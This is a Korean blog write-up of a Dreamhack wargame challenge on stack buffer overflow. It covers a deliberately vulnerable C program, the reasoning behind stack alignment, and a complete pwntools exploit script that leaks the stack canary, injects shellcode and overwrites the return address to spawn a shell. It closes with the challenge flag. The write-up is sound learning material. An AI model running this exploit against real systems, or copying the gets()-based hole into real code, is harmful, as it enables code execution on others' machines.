Jastes 2022. 5. 3. 22:48


Return Address OverWrite

์นด๋‚˜๋ฆฌ ์šฐํšŒ์™€ ์…ธ ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•ด ์…ธ์„ ํš๋“ํ•˜๋Š” ๋ฐฉ๋ฒ•

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
 
#include <stdio.h>
#include <unistd.h>
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
int main() {
  char buf[0x50];
 
  init();
 
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
 
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
 
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
 
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
 
  return 0;
}

๋ณดํ˜ธ๊ธฐ๋ฒ•

๋ฆฌ๋ˆ…์Šค์—๋Š” ๋‹ค์–‘ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
์ ์šฉ๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•์— ๋”ฐ๋ผ ์ต์Šคํ”Œ๋กœ์ž‡ ์„ค๊ณ„๊ฐ€ ๋‹ฌ๋ผ์ง€๋ฉฐ, ๋ถ„์„์„ ์‹œ๋„ํ•˜๊ธฐ ์ „์— ํŒŒ์•… ์ถ”์ฒœ!

๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ํŒŒ์•…ํ•  ๋•Œ ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ํˆด์ด checksec์ž…๋‹ˆ๋‹ค.
pwntools๋ฅผ ์„ค์น˜ํ•  ๋•Œ ๊ฐ™์ด ์„ค์น˜๋˜์–ด ~/.local/bin/checksec์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.
checksec์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ฐ„๋‹จํ•œ ์ปค๋งจ๋“œ ํ•˜๋‚˜๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งŒ์•ฝ ํ•ด๋‹น ์ปค๋ฉ˜๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋‹ค๊ฐ€ command not found ๋ผ๋Š” ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒ ์‹œ
/.bashrc์— ๋งˆ์ง€๋ง‰ ์ค„์— ๋‹ค์Œ ์ค„์„ ์ž…๋ ฅํ•˜์„ธ์š”.

export PATH="$HOME/.local/bin/:$PATH"

checksec์œผ๋กœ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋Š” ๋ณดํ˜ธ๊ธฐ๋ฒ•์€ RELRO, Canary, NX, PIE ์ด๋ ‡๊ฒŒ 4๊ฐ€์ง€์ž…๋‹ˆ๋‹ค.
์—ฌ๊ธฐ์„  checksec์ด๋ž€ ํˆด์ด ์žˆ๊ณ  r2s ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์นด๋‚˜๋ฆฌ๊ฐ€ ์ ์šฉ๋˜์—ˆ๋‹ค๋Š” ๋ถ€๋ถ„์ด ํ™•์ธ๋˜์ฃ 


์ทจ์•ฝ์  ํƒ์ƒ‰


1. ๋ฒ„ํผ์˜ ์ฃผ์†Œ

์ด ์ฝ”๋“œ์—์„  ํŽธ์˜๋ฅผ ์œ„ํ•ด buf์˜ ์ฃผ์†Œ ๋ฐ rbp์™€ buf์˜ ์ฐจ์ด๊นŒ์ง€ ํ‘œํ˜„ํ•˜๋„ค์š”.


2. stack BOF

buf์˜ ํฌ๊ธฐ๊ฐ€ 0x50(80byte)์ธ๋ฐ..
read์™€ gets๋Š” ๋ฒ„ํผ ์˜ค๋ฒ„ ํ”Œ๋กœ์šฐ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ํ•จ์ˆ˜๋กœ ์‚ฌ์šฉํ–ˆ๋„ค์š”.
๋˜ํ•œ ๋‘๋ฒˆ ๋‹ค ์ž…๋ ฅ๋ฐ›๋Š”๋ฐ ๋‘ ๋ฒˆ๋‹ค BOF๊ฐ€ ๋ฐœ์ƒํ•˜๋ฏ€๋กœ canary๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒ ๋„ค์š”

 

์ด ์ฝ”๋“œ๋ฅผ ํ™œ์šฉํ•ด ์…ธ์„ ํš๋“ํ•ด ์šฐํšŒ๋ฅผ ํ•ด๋ด…์‹œ๋‹ค.


exploit ์‹œ๋‚˜๋ฆฌ์˜ค๐ŸŽฌ


1. ์นด๋‚˜๋ฆฌ ์šฐํšŒ

๋‘ ๋ฒˆ์งธ ์ž…๋ ฅ์œผ๋กœ๋„ ๋ฐ˜ํ™˜ ์ฃผ์†Œ(RET)๋ฅผ ๋ฎ์„ ์ˆ˜๋Š” ์žˆ์ง€๋งŒ, ์นด๋‚˜๋ฆฌ๊ฐ€ ์กฐ์ž‘๋˜๋ฉด..
__stack_chk_fail ํ•จ์ˆ˜์— ์˜ํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ๊ฐ•์ œ๋กœ ์ข…๋ฃŒ๋ฉ๋‹ˆ๋‹ค.

 

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์ฒซ ๋ฒˆ์งธ ์ž…๋ ฅ์—์„œ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ตฌํ•˜๊ณ , ์ด๋ฅผ ๋‘ ๋ฒˆ์งธ์˜ ์ž…๋ ฅ์— ์‚ฌ์šฉํ•ด์•ผํ•˜์ฃ 

์ฒซ ๋ฒˆ์งธ ์ž…๋ ฅ์˜ ๋ฒ„ํผ์— buf๋ฅผ ๋ฌธ์ž์—ด๋กœ ์ถœ๋ ฅํ•˜๋ฏ€๋กœ ์ ์ ˆํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋ฉด
์นด๋‚˜๋ฆฌ์˜ ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ์ฃ 


2. ์…ธ ํš๋“

์นด๋‚˜๋ฆฌ๋ฅผ ๊ตฌํ•˜๋ฉด, ์ด์ œ ๋‘ ๋ฒˆ์งธ ์ž…๋ ฅ์— RET๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ์ฝ”๋“œ์— get_shell()๊ณผ ๊ฐ™์€ ํ•จ์ˆ˜๋Š” ์—†๊ธฐ์— ์…ธ์„ ํš๋“ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ง์ ‘ ์ฃผ์ž…ํ•˜๊ณ ,
ํ•ด๋‹น ์ฃผ์†Œ๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ์˜ฎ๊ฒจ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๋Š” buf์— ์…ธ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๋กœ ์‹คํ–‰ ํ๋ฆ„ ์˜ฎ๊น€

 

์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๊ฒ ์ฃ  ๊ทธ๋Ÿผ ํ•œ ๋ฒˆ ์‹ค์Šตํ•ด๋ณผ๊นŒ์š”


์ต์Šคํ”Œ๋กœ์ž‡

์Šคํƒ ํ”„๋ ˆ์ž„ ์ •๋ณด ์ˆ˜์ง‘๐Ÿงฑ

์Šคํƒ์„ ์ด์šฉํ•ด ๊ณต๊ฒฉํ•  ๊ฒƒ์ด๋ฏ€๋กœ, ์Šคํƒ ํ”„๋ ˆ์ž„์˜ ๊ตฌ์กฐ๋ฅผ ๋จผ์ € ํŒŒ์•…ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
์ด ์˜ˆ์ œ์—์„  ์Šคํƒ ํ”„๋ ˆ์ž„์˜ buf ์œ„์น˜๋ฅผ ๋ณด์—ฌ์ฃผ๋ฏ€๋กœ, ์ด๋ฅผ ์ ์ ˆํžˆ ํŒŒ์‹ฑํ•  ์ˆ˜๋งŒ ์žˆ์œผ๋ฉด ๋˜์ฃ !!

๋ณด๊ธฐ์ฒ˜๋Ÿผ ๋‚˜์™€์•ผํ•จ

์—ฌ๊ธฐ์„œ buf์˜ ๊ฐ’์„ ์ž…๋ ฅ๋ฐ›๋Š” ๋ถ€๋ถ„๊ณผ buf2_sfp๋ฅผ ํŒŒ์‹ฑํ•˜๋Š” ๋ถ€๋ถ„์—์„œ ์ €๋Š” ์˜๋ฌธ์ด ๋“ค์—ˆ๋Š”๋ฐ์š”

 

์ฒซ ๋ฒˆ์งธ๋Š” buf์—์„  ํฌ์ธํ„ฐ๋กœ ์ถœ๋ ฅ๋˜๊ธฐ์— int(p.recvline(), 16)์ธ ๊ฑด ๋‹น์—ฐํ•˜์ง€๋งŒ ๊ตณ์ด [:-1]์„ ๋„ฃ์—ˆ์„๊นŒ?
๊ทธ ์ด์œ ๋Š” ๋ฐ‘์— ๋‚˜์˜จ ๋งํฌ์ฒ˜๋Ÿผ ๊ฐœํ–‰๋ฌธ์ž๋‚˜ ๋ฌธ์ž์—ด ๋๋‹จ์„ ํšจ๊ณผ์ ์œผ๋กœ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด์„œ์ด์ง€๋งŒ ๊ฐœํ–‰๋ฌธ์ž๋Š”
recvline()์—์„œ ์• ์‹œ๋‹น์ดˆ ๊ทธ ๊ธฐ์ค€์œผ๋กœ ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— ํ•„์š”๊ฐ€ ์—†๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ์Šต๋‹ˆ๋‹ค.
๋กœ์ปฌ์—์„œ๋„ ๋‹น์—ฐํžˆ ๊ฐ’์€ ๋˜‘๊ฐ™์ด(์†”์งํžˆ ํ•  ๋•Œ๋งˆ๋‹ค ๋ฐ”๋€Œ๋‹ˆ๊นŒ ํ™•์ธ์ด ํž˜๋“ค์ง€๋งŒ) ๋‚˜์˜ค๋Š” ๊ฑฐ ๊ฐ™๊ณ ์š”

 

๊ทธ๋ž˜์„œ buf = int(recvn(14), 16)์ด๋ž‘ ์ฐจ์ด๋„ ์—†์„ ๊ฑฐ ๊ฐ™์€๋ฐ ์™œ ์ €๋Ÿฐ ํ˜•์‹์„ ์„ ํ˜ธํ• ๊นŒ์š”?
๋” ์ •ํ™•ํ•˜๊ฒŒ ๋ฌธ์ œ์—†์ด ๋ฐ›์•„์„œ์ผ๊นŒ์š”?

 

What does [:-1] mean/do in python?

Working on a python assignment and was curious as to what [:-1] means in the context of the following code: instructions = f.readline()[:-1] Have searched on here on S.O. and on Google but to no a...

stackoverflow.com

๋‘ ๋ฒˆ์งธ๋กœ๋Š” buf2_sfp์— ์˜ ์กด์žฌ ์ด์œ ์ž…๋‹ˆ๋‹ค
๋ณธ๋ž˜ split()[0]์€ ๊ณต๋ฐฑ ๊ธฐ์ค€ ๋ฐ›์€ ๋‚ด์šฉ์„ ๋”•์…”๋„ˆ๋ฆฌ์— 0๋ฒˆ์งธ ์ธ๋ฑ์Šค์˜ ๊ฐ’์„ ๋ถˆ๋Ÿฌ์˜จ๋‹ค๋Š” ๋œป์ธ๋ฐ..
๋ฐ›์•„๋“œ๋ฆฌ๋Š” ์ •๋ณด ์ž์ฒด๊ฐ€ (char*)__builtin_frame_address(0) - buf ์˜ ๊ฐ’์ธ๋ฐ
๊ทธ๋Ÿผ ๋ฐ”๋กœ rbp์™€ buf์˜ ์ฐจ์ด๊ฐ€ ๋ฐ”๋กœ ๋‚˜์˜ค๋Š” ๊ฑฐ๋ผ ์ฆ‰, sfp๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฑฐ์ž–์•„์š”

 

๊ทธ๋Ÿฐ๋ฐ ๊ตณ์ด split()[0]์œผ๋กœ ํ•  ํ•„์š”๊ฐ€ ์žˆ์„๊นŒ์š”.. ์–ด์งœํ”ผ sfp ์ฃผ์†Œ๊ฐ€ ๋ฐ”๋กœ ๋‚˜์˜ฌ๊ฑด๋ฐ..
๋ผ๋Š”๊ฒŒ ์ €์˜ ์ƒ๊ฐ์ด์˜€์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ local๊ณผ remote์—์„œ์˜ ํ™˜๊ฒฝ์— ์˜ํ•˜์—ฌ ๊ทธ๋Ÿฌํ•œ ๋ฌธ์ œ๋ฅผ ์ตœ์†Œํ™”ํ•˜๊ธฐ ์œ„ํ•ด
์œ„์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ํ™•์‹คํ•˜๊ฒŒ ๋ช…์‹œํ•˜์—ฌ ์ง€์ •ํ•œ ๊ฒƒ์ด ์•„๋‹๊นŒ..

 

์ฆ‰, ์˜คํ”„์…‹ ๊ฒฐ๊ณผ๋ฅผ ์ตœ๋Œ€ํ•œ ๋ช…์‹œ์ ์œผ๋กœ ์ง€์ •ํ•˜์—ฌ ์˜ค๋ฒ„ํ•ด๋“œ๋ฅผ ๋‹จ์ถ• ๋ฐ ๋™์ผ์‹œ๋ฅผ ์œ„ํ•œ ๊ฒƒ์ด๋‹ค.. ๋ผ๊ณ  ์ƒ๊ฐ์ด ๋“œ๋„ค์š”

๋‚ด๊ฐ€ ์ƒ๊ฐํ•œ ๋ณ„ ์ฐจ์ด๊ฐ€ ์—†์„ ๊ฑฐ ๊ฐ™๋˜ ์ฝ”๋“œ

์˜คํ”„์…‹ : ๋ฐฐ์—ด์ด๋‚˜ ์ž๋ฃŒ ๊ตฌ์กฐ ์˜ค๋ธŒ์ ํŠธ ๋‚ด์˜ ์˜คํ”„์…‹์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋™์ผ ์˜ค๋ธŒ์ ํŠธ ์•ˆ์—์„œ
์˜ค๋ธŒ์ ํŠธ ์ฒ˜์Œ๋ถ€ํ„ฐ ์ฃผ์–ด์ง„ ์š”์†Œ๋‚˜ ์ง€์ ๊นŒ์ง€์˜ ๋ณ€์œ„์ฐจ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ์ •์ˆ˜ํ˜•
 

์˜คํ”„์…‹ (์ปดํ“จํ„ฐ ๊ณผํ•™) - ์œ„ํ‚ค๋ฐฑ๊ณผ, ์šฐ๋ฆฌ ๋ชจ๋‘์˜ ๋ฐฑ๊ณผ์‚ฌ์ „

์ปดํ“จํ„ฐ ๊ณผํ•™์—์„œ ๋ฐฐ์—ด์ด๋‚˜ ์ž๋ฃŒ ๊ตฌ์กฐ ์˜ค๋ธŒ์ ํŠธ ๋‚ด์˜ ์˜คํ”„์…‹(offset)์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋™์ผ ์˜ค๋ธŒ์ ํŠธ ์•ˆ์—์„œ ์˜ค๋ธŒ์ ํŠธ ์ฒ˜์Œ๋ถ€ํ„ฐ ์ฃผ์–ด์ง„ ์š”์†Œ๋‚˜ ์ง€์ ๊นŒ์ง€์˜ ๋ณ€์œ„์ฐจ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ์ •์ˆ˜ํ˜•์ด๋‹ค. ์ด๋ฅผํ…Œ๋ฉด,

ko.wikipedia.org

์˜ค๋ฒ„ํ•ด๋“œ : ์–ด๋–ค ์ฒ˜๋ฆฌ๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด ๋“ค์–ด๊ฐ€๋Š” ๊ฐ„์ ‘์ ์ธ ์ฒ˜๋ฆฌ ์‹œ๊ฐ„ · ๋ฉ”๋ชจ๋ฆฌ ๋“ฑ์„ ์ง€์นญํ•จ
 

์˜ค๋ฒ„ํ—ค๋“œ - ์œ„ํ‚ค๋ฐฑ๊ณผ, ์šฐ๋ฆฌ ๋ชจ๋‘์˜ ๋ฐฑ๊ณผ์‚ฌ์ „

์˜ค๋ฒ„ํ—ค๋“œ(overhead)๋Š” ์–ด๋–ค ์ฒ˜๋ฆฌ๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด ๋“ค์–ด๊ฐ€๋Š” ๊ฐ„์ ‘์ ์ธ ์ฒ˜๋ฆฌ ์‹œ๊ฐ„ · ๋ฉ”๋ชจ๋ฆฌ ๋“ฑ์„ ๋งํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด A๋ผ๋Š” ์ฒ˜๋ฆฌ๋ฅผ ๋‹จ์ˆœํ•˜๊ฒŒ ์‹คํ–‰ํ•œ๋‹ค๋ฉด 10์ดˆ ๊ฑธ๋ฆฌ๋Š”๋ฐ, ์•ˆ์ „์„ฑ์„ ๊ณ ๋ คํ•˜๊ณ  ๋ถ€๊ฐ€์ ์ธ B๋ผ๋Š”

ko.wikipedia.org

๋‘ ์ฝ”๋“œ์˜ ์ฐจ์ด์ ์ด ์žˆ์œผ๋‚˜ ๊ฒฐ๊ณผ๋Š” ๋™์ผ..?

์•„, ๋˜ํ•œ C์ฝ”๋“œ์—์„œ ๋ณด์‹œ๋ฉด buf(0x50)์ธ๋ฐ canary๊นŒ์ง€ ํ•ฉํ•˜๋ฉด 0x8์ด๋ฏ€๋กœ
0x58์ด ๋˜์•ผ์ง€๋งŒ stack alignment ์ตœ์ ํ™”๋ฅผ ์œ„ํ•ด 16์˜ ๋ฐฐ์ˆ˜(x64๋‹ˆ๊นŒ์š”)๋กœ ์ฑ„์›Œ
0x60.. ์™œ ๊ทธ๋Ÿฐ์ง€ ์˜๋ฌธ์ด ๋“ค๋•Œ๊ฐ€ ์ €๋„ ์žˆ์–ด์„œ ์ฐพ์•„๋ณด๋ฉฐ, ์ •๋ฆฌ๋ฅผ ํ•˜์ž๋ฉด..

 

์ €ํฌ ์•„ํ‚คํ…์ฒ˜(x64๊ธฐ์ค€) 16byte์”ฉ fetch๋ฅผ ํ•ฉ๋‹ˆ๋‹ค.
์ตœ๋Œ€ํ•œ rsp(์‹œ์ž‘๋ถ€๋ถ„)์ชฝ์— ๊ฐ€๊น๊ฒŒ ์žˆ์–ด์•ผ ์ตœ์ ํ™”๋œ ์ƒํƒœ์˜ fetch๋ฅผ ํ•˜๊ฒ ์ฃ 

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์Šคํƒ์˜ ์ตœ์ƒ๋‹จ๋ถ€ํ„ฐ fetch๋ฅผ ํ•˜๋ฉฐ, ๋๋‹จ์— ๋งž์ถ”์–ด fetchํ•˜๊ธฐ์— ์ตœ๋Œ€ํ•œ ๋งž์ถ”์–ด ํ•œ๋‹ค๋ฉด
์•„๋ฌด๋ž˜๋„ ํšจ์œจ์ด ๋”์šฑ ์ข‹๊ฒ ์ฃ 

 

 

๋น„์–ด์žˆ๋Š” ๊ณต๊ฐ„์˜ ํšจ์œจ?

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด buf[0x50]์˜ ๊ณต๊ฐ„์„ ์ฐจ์ง€ํ•˜์ง€๋งŒ canary(0x08)๋ฅผ ๋„ฃ๋Š”๋‹ค๋ฉด ์›๋ž˜๋Š” sub rsp, 0x58์ด์ง€๋งŒ stack alignment๋กœ ํšจ์œจ์„ ๋†’์ด๊ธฐ ์œ„ํ•ด 16์˜๋ฐฐ…

dreamhack.io

 

what is "stack alignment"?

What is stack alignment? Why is it used? Can it be controlled by compiler settings? The details of this question are taken from a problem faced when trying to use ffmpeg libraries with msvc, how...

stackoverflow.com

 

์•„๋ž˜ ๋‚ด์šฉ์€ Dreamhack ๊ด€๋ฆฌ์ž ๋ถ„๊ป˜์„œ ์นœํžˆ ๋‹ฌ์•„์ฃผ์‹  ๋‚ด์šฉ์œผ๋กœ ์ €๋Š” ์—ฌ๊ธฐ๊นŒ์ง€๋Š”..
์ข€ ์–ด๋ ต๋„ค์š” ์•„์ง ์—ฌ๊ธฐ๊นŒ์ง€๋Š” ํ•„์š”์„ฑ์ด๋‚˜ ์ค‘์š”์„ฑ์„ ์•Œ์•„๊ฐ€๋Š” ๋‹จ๊ณ„๋ผ ๋ช…ํ™•ํ•˜๊ฒŒ ๋ง์€ ใ… 

1. System V ABI์—์„œ๋Š” stack alignment๊ฐ€ 16byte์ด๊ธธ ์š”๊ตฌํ•จ
2. Automatic Vectorization๋ฅผ ์œ„ํ•ด 16byte align์„ ์š”๊ตฌ
- ์ปดํŒŒ์ผ๋Ÿฌ์˜ ์ตœ์ ํ™”
3. 16byte alignment๋ฅผ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ cache line์— cross๊ฐ€ ๋ฐœ์ƒ X
- ๋ณด๋‹ค ํšจ์œจ์ ์ธ ๋ฐ์ดํ„ฐ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ด์ง!!(๊ทธ ์ด์œ ๋Š” ์•ž์—์„œ ์„ค๋ช…ํ–ˆ์ฃ )
 

Why does the x86-64 / AMD64 System V ABI mandate a 16 byte stack alignment?

I've read in different places that it is done for "performance reasons", but I still wonder what are the particular cases where performance get improved by this 16-byte alignment. Or, in any case, ...

stackoverflow.com


์นด๋‹ˆ๋ฆฌ ๋ฆญ๐Ÿฆœ

์Šคํƒ ํ”„๋ ˆ์ž„์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ–ˆ์œผ๋ฏ€๋กœ, ์ด๋ฅผ ํ™œ์šฉํ•ด ์นด๋‚˜๋ฆฌ๋ฅผ ๊ตฌํ•ฉ์‹œ๋‹ค.

 

buf์™€ ์นด๋‚˜๋ฆฌ ์‚ฌ์ด๋ฅผ ์ž„์˜์˜ ๊ฐ’์œผ๋กœ ์ฑ„์šฐ๋ฉด,
ํ”„๋กœ๊ทธ๋žจ์—์„œ buf๋ฅผ ์ถœ๋ ฅํ•  ๋•Œ ์นด๋‚˜๋ฆฌ๋„ ๊ฐ™์ด ์ถœ๋ ฅ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

์•ž์—์„œ ๊ตฌํ•œ ์Šคํƒ ํ”„๋ ˆ์ž„์˜ ๊ตฌ์กฐ๋ฅผ ๊ณ ๋ คํ•ด, ์นด๋‚˜๋ฆฌ๋ฅผ ๊ตฌํ•˜๋„๋ก ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ถ”๊ฐ€ํ•ด๋ด…์‹œ๋‹ค.

์ถœ๋ ฅ์€ ์œ„์™€ ๊ฐ™์ด ๋‚˜์˜ค๋„๋ก..

C์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์•„์‹œ๊ฒ ์ง€๋งŒ ๋ฐ›์ž๋งˆ์ž ๋‹ค์‹œ fflush๋ฅผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐ›๊ณ ๋‚˜์„œ
์นด๋‚˜๋ฆฌ ๋ฆญ์„ ์•Œ์•„๋‚ด์–ด ํ•ด๋ณด๋ฉด.. \x00๋กœ ์‹œ์ž‘ํ•˜์—ฌ Canary 7byte๋ฅผ ๋งˆ์ € ๋ฐ›๊ณ  ์ถ”์ถœ!

 

์ฐธ๊ณ ๋กœ Canary๋Š” ์ฒซ ์Šคํƒ€ํŠธ๊ฐ€ null-byte๋กœ ์‹œ์ž‘ํ•œ๋‹ต๋‹ˆ๋‹ค(์•ต๊ฐ„ํ•ด์„ )


Exploit๐ŸŽฎ

์นด๋‚˜๋ฆฌ๋ฅผ ๊ตฌํ–ˆ์œผ๋‹ˆ๊นŒ ์ด์ œ buf์— ์‰˜ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ , ์นด๋‚˜๋ฆฌ๋ฅผ ๊ตฌํ•œ ๊ฐ’์œผ๋กœ ๋ฎ์€ ๋’ค,
๋ฐ˜ํ™˜ ์ฃผ์†Œ(RET)๋ฅผ buf๋กœ ๋ฎ์œผ๋ฉด ์…ธ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹คํ–‰ ๊ฒฐ๊ณผ

shellcraft๋ฅผ ์‚ฌ์šฉํ•ด shellcode๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๊ณ , shellcode ํ›„์— ๋ฐ”๋กœ 'ljust'ํ•จ์ˆ˜๋ฅผ ํ™œ์šฉ
buf2_cnry์˜ ๋ฒ„ํผ๋งŒํผ shellcode๊ธฐ์ž…ํ›„ ๋‚˜๋จธ์ง€ ๊ณต๊ฐ„์€ NOP๋‚˜ ๋”๋ฏธ๊ฐ’์œผ๋กœ ์ฑ„์šฐ๊ณ ..
ํš๋“ํ•œ canary๊ฐ’ + sfp(8byte) + buf addr(RET)๋กœ ๋„ฃ์–ด์„œ gets()ํ•จ์ˆ˜์˜ ํŠน์„ฑ์„ ๊ณ ๋ คํ•ด์„œ..
๊ฐœํ–‰๋ฌธ์ž๊นŒ์ง€ ๋ฐ›์œผ๋ฏ€๋กœ sendlineafter๋กœ ๋„ฃ์–ด์„œ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

Python String ljust()

Python String ljust() The string ljust() method returns a left-justified string of a given minimum width. The syntax of ljust() method is: string.ljust(width[, fillchar]) Here, fillchar is an optional parameter. String ljust() Parameters ljust() method tak

www.programiz.com


์ „์ฒด ์ฝ”๋“œ 

#!/usr/bin/env python3
# Name : r2s.py
 
from pwn import *
def slog(n, m): return success(":".join([n, hex(m)]))
 
 
p = process('./r2s')
context(arch='amd64', os='linux')
e = ELF('./r2s')
 
 
#[1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog('Address of the buf', buf)
 
p.recvuntil('$rbp: ')
buf2_sfp = int(p.recvline().split()[0])
buf2_canary = buf2_sfp - 8
 
slog('buf <=> sfp', buf2_sfp)
slog('buf <=> canary', buf2_canary)
 
# [2] Leak canary value
payload = b"A"*(buf2_canary + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
 
canary = u64(b"\x00"+p.recvn(7))
slog("Canary", canary)
 
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2_canary, b"A") + p64(canary) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
 
p.interactive()

์‹ค์ˆ˜๋กœ ์›๊ฒฉ RCE๊ฐ€ ์•„๋‹ˆ๋ผ local์—์„œ๋งŒ ๋˜๋Š” ์ฝ”๋“œ์ธ๋ฐ ๊ทธ๋ƒฅ remote๋งŒ ๋„ฃ์–ด์ฃผ๋ฉด ๋˜๋‹ˆ๊นŒ..

DH{333eb89c9d2615dd8942ece08c1d34d5}


๊ฒฐ๋ก 

์ฝ”์Šค์—์„œ๋Š” ์Šคํƒ ๋ฒ„ํผ์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์‹คํ–‰ํ–ˆ์ง€๋งŒ, ์ด ์™ธ์—๋„ ์ „์—ญ์œผ๋กœ ์„ ์–ธ๋œ ๋ฒ„ํผ๋‚˜, ํž™ ๋ฒ„ํผ ๋“ฑ์—๋„ ์…ธ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ, ์ „์—ญ ๋ฒ„ํผ๋Š” PIE๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์œผ๋ฉด ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •๋˜๊ธฐ ๋•Œ๋ฌธ์—, ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๋Š” ๋ณ„๋„์˜ ๊ณผ์ • ์—†์ด๋„ ํ•ด๋‹น ๋ฒ„ํผ๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์€ ๋‹ค์Œ ์กฐ๊ฑด์ด ๋งŒ์กฑ๋˜๋ฉด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ์ž„์˜์˜ ๋ฒ„ํผ๊ฐ€ ์žˆ์„ ๋•Œ, ํ•ด๋‹น ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ฑฐ๋‚˜, ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.
  2. ์‹คํ–‰ ํ๋ฆ„์„ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ๋‹ค. ← ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋„ ์—ฌ๊ธฐ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.
- Arbitrary Code Execution(์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰;ACE) : ์ž„์˜์˜ ์ฝ”๋“œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ
- Remote Code Execution(์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰;RCE) : ์›๊ฒฉ ์„œ๋ฒ„๋ฅผ ๋Œ€์ƒ์œผ๋กœ ACE ์ˆ˜ํ–‰

